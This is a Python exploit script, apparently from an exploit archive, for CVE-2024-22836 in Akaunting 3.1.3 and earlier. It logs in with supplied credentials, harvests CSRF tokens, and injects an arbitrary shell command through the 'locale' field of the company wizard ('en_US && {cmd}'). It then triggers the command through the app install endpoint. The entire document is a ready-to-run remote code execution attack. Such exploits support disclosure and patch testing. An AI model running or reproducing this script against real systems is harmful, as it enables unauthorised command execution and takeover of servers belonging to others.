| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | # Exploit Title: Akaunting < 3.1.3 - RCE # Date: 08/02/2024 # Exploit Author: u32i@proton.me # Vendor Homepage: https://akaunting.com # Software Link: https://github.com/akaunting/akaunting # Version: <= 3.1.3 # Tested on: Ubuntu (22.04) # CVE : CVE-2024-22836 #!/usr/bin/python3 import sys import re import requests import argparse def get_company():  # print("[INF] Retrieving company id...")  res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)  if res.status_code != 302:  print("[ERR] No company id was found!")  sys.exit(3)  cid = res.headers['Location'].split('/')[-1]  if cid == "login":  print("[ERR] Invalid session cookie!")  sys.exit(7)  return cid def get_tokens(url):  res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)  search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)  if not search_res:  print("[ERR] Couldn't get csrf token")  sys.exit(1)  data = {}  data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')  data['session'] = res.cookies.get('akaunting_session')  return data def inject_command(cmd):  url = f"{target}/{company_id}/wizard/companies"  tokens = get_tokens(url)  headers.update({"X-Csrf-Token": tokens['csrf_token']})  data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}  res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  if res.status_code == 200:  res_data = res.json()  if res_data['error']:  print("[ERR] Command injection failed!")  sys.exit(4)  print("[INF] Command injected!") def trigger_rce(app, version = "1.0.0"):  print("[INF] Executing the command...")  url = f"{target}/{company_id}/apps/install"  data = {"alias": app, "version": version, "path": f"apps/{app}/download"}  headers.update({"Content-Type":"application/json"})  res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)  if res.status_code == 200:  res_data = res.json()  if res_data['error']:  search_res = re.search(r">Exit Code\:.*<", res_data['message'])  if search_res:  print("[ERR] Failed to execute the command")  sys.exit(6)  print("[ERR] Failed to install the app! no command was executed!")  sys.exit(5)  print("[INF] Executed successfully!") def login(email, password):  url = f"{target}/auth/login"  tokens = get_tokens(url)  cookies.update({  'akaunting_session': tokens['session']  })  data = {  "_token": tokens['csrf_token'],  "_method": "POST",  "email": email,  "password": password  }  req = requests.post(url, headers=headers, cookies=cookies, data=data)  res = req.json()  if res['error']:  print("[ERR] Failed to log in!")  sys.exit(8)  print("[INF] Logged in")  cookies.update({'akaunting_session': req.cookies.get('akaunting_session')}) def main():  inject_command(args.command)  trigger_rce(args.alias, args.version) if __name__=='__main__':  parser = argparse.ArgumentParser()  parser.add_argument("-u", "--url", help="target url")  parser.add_argument("--email", help="user login email.")  parser.add_argument("--password", help="user login password.")  parser.add_argument("-i", "--id", type=int, help="company id (optional).")  parser.add_argument("-c", "--command", help="command to execute.")  parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")  parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")  args = parser.parse_args()  headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}  cookies = {}  target = args.url  try:  login(args.email, args.password)  company_id = get_company() if not args.id else args.id  main()  except:  sys.exit(0) |